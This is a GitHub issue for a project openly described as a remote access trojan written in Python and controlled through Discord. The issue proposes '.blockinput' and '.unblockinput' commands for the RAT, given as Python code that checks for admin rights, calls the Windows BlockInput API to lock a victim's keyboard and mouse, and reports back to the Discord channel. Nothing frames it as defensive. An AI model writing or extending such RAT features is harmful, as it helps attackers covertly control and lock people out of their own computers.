isaaclins / Discord-Python-RAT

RAT written in Python connected via Discord.
1 stars 0 forks source link

add .blockinput #19

Open isaaclins opened 8 months ago

isaaclins commented 8 months ago

if message.content.startswith(".blockinput"): import ctypes is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 if is_admin == True: ok = windll.user32.BlockInput(True) await message.channel.send("[*] Command successfully executed") else: await message.channel.send("[!] Admin rights are required for this operation")

    if message.content.startswith(".unblockinput"):
        import ctypes
        is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
        if is_admin == True:
            ok = windll.user32.BlockInput(False)
            await  message.channel.send("[*] Command successfully executed")
        else:
            await message.channel.send("[!] Admin rights are required for this operation")

            something along those lines???